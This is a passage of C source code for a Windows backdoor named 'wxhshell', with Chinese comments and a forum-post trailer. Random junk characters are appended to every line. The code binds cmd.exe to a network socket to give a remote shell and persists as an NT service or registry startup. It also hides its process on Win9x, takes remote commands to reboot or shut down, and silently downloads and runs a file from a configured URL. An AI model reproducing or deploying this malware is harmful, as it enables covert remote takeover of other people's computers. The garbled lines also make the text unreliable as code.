~o5iCt;w  
    switch(cmd[0]) { F;@&uXYgc  
  {# _C  
  // 帮助 xmx;tq  
  case '?': { -RDs{c`y%N  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Y &+/[ [  
    break; X6 :~Rjim*  
  } #vwXxr  
  // 安装 _oVA0@#n  
  case 'i': { 0Ch._~Q+20  
    if(Install()) ?M(Wx  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MX\-)e#  
    else r0bPaAKw  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); X;>} ;LiK  
    break; R?SHXJ%'  
    } X+@,vCC  
  // 卸载 :!h H`l}p  
  case 'r': { 5~0;R`D  
    if(Uninstall()) 1]`HX=cl  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); S,%HW87  
    else ^4NH.q{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .CpO+z  
    break; Or>[_3  
    } 0VPa;{i/  
  // 显示 wxhshell 所在路径 h_!"CF <n  
  case 'p': { HArYL} l  
    char svExeFile[MAX_PATH]; czRh.kz,  
    strcpy(svExeFile,"\n\r"); h]P$L>  
      strcat(svExeFile,ExeFile); &N;6G`3  
        send(wsh,svExeFile,strlen(svExeFile),0);  Z.JTq~`I  
    break; k]g\` gc  
    } .5xg;Qg\Y  
  // 重启 c*Nbz,:  
  case 'b': { w[-Bsf  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); .`].\Zykf  
    if(Boot(REBOOT)) -Ma"V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >m!.l{*j>N  
    else { JM%#L*;  
    closesocket(wsh); K e8cfd~c  
    ExitThread(0); gId+hxFa:r  
    } a06DeRCej  
    break; {5JXg9um  
    } ,L G&sa"  
  // 关机 [4e5(!e  
  case 'd': { p2K9R4  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); OLwxGRYX  
    if(Boot(SHUTDOWN)) D6WsEd>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Y)`+u#` R  
    else { y]_DW6W  
    closesocket(wsh); !:5n  
    ExitThread(0); _JH6bvbQ  
    } t/g}cR^Q  
    break; x3 S  
    } 7@?b _  
  // 获取shell -,&Xp>u\  
  case 's': { |sh  U  
    CmdShell(wsh); uM8gfY)OI  
    closesocket(wsh); "6i9f$N  
    ExitThread(0); k s}o9[D3  
    break; rL=$WxdPU  
  } (Wn'.|^%  
  // 退出 )[1m$>  
  case 'x': { bBX~ZWw  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); w3@ te\  
    CloseIt(wsh); &%lhov  
    break; P7b2I=t  
    } ,l6W|p?ZO^  
  // 离开 ?HY0@XILI  
  case 'q': { [H1NP'Kg]  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ,#G@ri:B  
    closesocket(wsh); B.?yHaMI[  
    WSACleanup(); |1D`v9  
    exit(1); abND#t  
    break; A SSoKrFL  
        } zP9 !fA  
  } 1 .M?Hp9i  
  } .<.qRq-  
bA)Xjq)Rr  
  // 提示信息 ,>$#e1!J  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ?,j:Y0l.L  
} r!#3>F;B  
  } $spf=t"nh  
MPt7 /  
  return; ? _W*7<  
} aqB^  %e  
L6a8%%`  
// shell模块句柄 o$-P hl  
int CmdShell(SOCKET sock) j- A|\:   
{ DB0xIP~i,?  
STARTUPINFO si; J0#% *B  
ZeroMemory(&si,sizeof(si)); *%O1d.,  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; SCjACQ}-  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =vFI4)$-  
PROCESS_INFORMATION ProcessInfo; M(|gfsD  
char cmdline[]="cmd"; 9K49<u0O  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); #'T|,xIr-Q  
  return 0; )L{\k$r!EM  
} P ,i)A  
"CaVT7L  
// 自身启动模式 I$Z"o9"  
int StartFromService(void) .JiQq]  
{ vmoqsdZ/  
typedef struct 4MM#\  
{ 1)r1/0  
  DWORD ExitStatus; Cxh9rUe.  
  DWORD PebBaseAddress; \R<yja  
  DWORD AffinityMask; /90@ 85%r  
  DWORD BasePriority; yqK82z5U*R  
  ULONG UniqueProcessId; .Ybm27Dk  
  ULONG InheritedFromUniqueProcessId; r[gV`khka  
}   PROCESS_BASIC_INFORMATION; _uBf.Qfs  
WMg#pLc#  
PROCNTQSIP NtQueryInformationProcess; -B_dE-l,  
}LM_VZj  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ENGw <  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; +?c&Gazi  
H(pOR< `  
  HANDLE             hProcess; &v:iC u^|  
  PROCESS_BASIC_INFORMATION pbi; !{4p+peqJV  
cZwQ{9>  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ss[8d%V  
  if(NULL == hInst ) return 0; tHGK<rb  
89L -k%R  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); I*#~@:4*  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %(NRH?  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Jjy}m0)#W_  
p* ^O 8o  
  if (!NtQueryInformationProcess) return 0; )ow3Bl8w  
iBZ+gsSP  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  W6a2I  
  if(!hProcess) return 0; %o?fE4o'  
.D7\Hao  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; /aK },+  
uU<Yf5  
  CloseHandle(hProcess); @50Js3R1q  
>_5D`^  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); IlaH,J7n  
if(hProcess==NULL) return 0; !Zs;m`j&9  
L\b$1U!i  
HMODULE hMod; EqOB 0\  
char procName[255]; #a/lt^}C*  
unsigned long cbNeeded; ^m5{:\ Xk  
;B7>/q;g  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ftK.jj1:  
UboOIx5:  
  CloseHandle(hProcess); >s1HQSe66  
n%ld*EgY  
if(strstr(procName,"services")) return 1; // 以服务启动 VB[R!S=  
%D&FnTa  
  return 0; // 注册表启动 E P<U:F  
} MY0Wr%@#0  
p*>[6{$3)O  
// 主模块 Wve ^2lkoK  
int StartWxhshell(LPSTR lpCmdLine) 6R?J.&|  
{ 4=1lyw  
  SOCKET wsl; [7$<sN<'  
BOOL val=TRUE; 6jKM,%l  
  int port=0; Ron^PvvY&  
  struct sockaddr_in door; Ue8_Q8q5  
)hn,rmn (P  
  if(wscfg.ws_autoins) Install(); D-[0^  
ka]n+"~==\  
port=atoi(lpCmdLine); [TNYPA> {  
.%*.nq  
if(port<=0) port=wscfg.ws_port; | WDX@Q  
E6n;_{Se/S  
  WSADATA data; $bMeL7CN  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; #ReW#?P%b/  
k5<lkC2z  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   \Ud2]^D=  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); >0512_J+  
  door.sin_family = AF_INET; 4$_8#w B1&  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 2y,~i;;_  
  door.sin_port = htons(port); ==IL63  
C8(sH@  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { +L_.XToq-  
closesocket(wsl); @ cv`}k  
return 1; 1AhL-Lj  
} L5U>`lx6$  
`5x,N%9{  
  if(listen(wsl,2) == INVALID_SOCKET) { u} KiSZxt  
closesocket(wsl); +LrW#K;  
return 1; /wIZ '  
} fV[xv4D.  
  Wxhshell(wsl); &\1Dy}:  
  WSACleanup(); 3-tp94`8}t  
pcm|  
return 0; 2VMau.eQ  
:P;#Y7}Y$  
} <S TwylL  
Yb414K  
// 以NT服务方式启动 u=k\]W-  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) QMHeU>  
{ o y}(  
DWORD   status = 0; Vs\ )w>JF  
  DWORD   specificError = 0xfffffff; r'w5i1C+  
$;"@;Lj%,  
  serviceStatus.dwServiceType     = SERVICE_WIN32; kRZ(  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; U#@:"v|  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Ow+7o@$"/  
  serviceStatus.dwWin32ExitCode     = 0; {ZN{$Ad3/  
  serviceStatus.dwServiceSpecificExitCode = 0; Iu%/~FgPj{  
  serviceStatus.dwCheckPoint       = 0; T\. 8og  
  serviceStatus.dwWaitHint       = 0; /vSFQ}W  
:IbrV@gN{@  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); yu3EPT!~  
  if (hServiceStatusHandle==0) return; hW _NARA  
1b* dC;<  
status = GetLastError(); k $3.FO"  
  if (status!=NO_ERROR) (|h<{ -L  
{ Br1JZHgA  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 3l<)|!f]g  
    serviceStatus.dwCheckPoint       = 0; 7q$9\RR5  
    serviceStatus.dwWaitHint       = 0; x8tRa0-q  
    serviceStatus.dwWin32ExitCode     = status; z[ IG+2  
    serviceStatus.dwServiceSpecificExitCode = specificError; uh`~K6&*\w  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~F uD6f  
    return; 2ggW4`"c  
  } .J&~u0g  
G@ed2T  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; !Z<Z"R/  
  serviceStatus.dwCheckPoint       = 0; D;d 'ss;  
  serviceStatus.dwWaitHint       = 0; tJ2l_M^  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); q2&&n6PYW  
} y)Ip\.KV\  
' G) Wy|*  
// 处理NT服务事件,比如:启动、停止 ~sMn/T*fv  
VOID WINAPI NTServiceHandler(DWORD fdwControl)  2Np9*[C  
{ DCP "  
switch(fdwControl) )u3<lpoTy  
{ $N:m 9R  
case SERVICE_CONTROL_STOP: 5wP(/?sRy  
  serviceStatus.dwWin32ExitCode = 0; cg0L(oI~  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; k&yy_r   
  serviceStatus.dwCheckPoint   = 0; zSDiJ$Xk  
  serviceStatus.dwWaitHint     = 0; q\d'}:kfu  
  { M /Bn^A8@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); o6Vc}jRH  
  } @*A(#U8p3  
  return; @2kt6 W  
case SERVICE_CONTROL_PAUSE: ~wh8)rm  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; }[D[ZLv  
  break; `'+[Y;s_  
case SERVICE_CONTROL_CONTINUE: oA_AnD?G+  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; H)t8d_^|j  
  break; #HM0s~^w&  
case SERVICE_CONTROL_INTERROGATE: mZMLDs:  
  break; B7N?"'$i  
}; wjKW 3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); r|?2@VE  
} {#Mz4s`M  
<P g.N  
// 标准应用程序主函数 PNg,bcl  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) CQ#p2  
{ VGq2ITg9eE  
\>:(++g  
// 获取操作系统版本 oAvL?2  
OsIsNt=GetOsVer(); 0^:O:X  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 1 9;\:tN  
FkKx~I:  
  // 从命令行安装 4`!(M]u=  
  if(strpbrk(lpCmdLine,"iI")) Install(); AR/`]"'  
YI&^j2  
  // 下载执行文件 <7?MutHM-  
if(wscfg.ws_downexe) { o`hF1*yp  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /38^N|/Zr  
  WinExec(wscfg.ws_filenam,SW_HIDE); bWjW_$8  
} Tx],- U  
f u\M2"e  
if(!OsIsNt) { A!goR-J]  
// 如果时win9x,隐藏进程并且设置为注册表启动 C!~&c7  
HideProc(); (MwB% g  
StartWxhshell(lpCmdLine);  A5Y z|  
} GP`_R  
else 3ef]3  
  if(StartFromService()) 6S<J'9sE  
  // 以服务方式启动 "aAzG+NM  
  StartServiceCtrlDispatcher(DispatchTable); \BUr2]  
else o!\Vk~Vi&  
  // 普通方式启动 =#n|t[h-  
  StartWxhshell(lpCmdLine); u@[D*c1!H  
80 i<Ij8J  
return 0; v7xc01x  
}
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只看该作者 1 发表于: 2006-10-10
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